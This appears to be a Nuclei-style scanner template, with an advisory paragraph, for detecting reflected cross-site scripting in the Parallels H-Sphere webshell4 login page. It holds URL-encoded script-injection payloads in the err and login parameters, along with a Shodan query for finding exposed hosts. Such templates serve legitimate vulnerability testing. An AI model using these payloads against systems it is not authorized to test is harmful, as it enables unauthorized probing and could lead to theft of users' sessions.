Parallels H-Sphere contains multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
id: parallels-hsphere-xss
info:
name: Parallels H-Sphere - Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
Parallels H-Sphere contains multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
reference:
- https://www.exploit-db.com/exploits/32396
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
cpe: cpe:2.3:a:parallels:h-sphere:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: title:"h-sphere"
product: h-sphere
vendor: parallels
tags: hsphere,xss,edb,parallels,vuln
http:
- method: GET
path:
- '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'value="\"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100c369002c267a1fefc62ef90cb9ecd3a79b1460003d91ae5209dc6123b6ab6cab02202c85bc59153eb7498611f3d2c17c17f625df2969cff26cbce480c925fa1988bd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.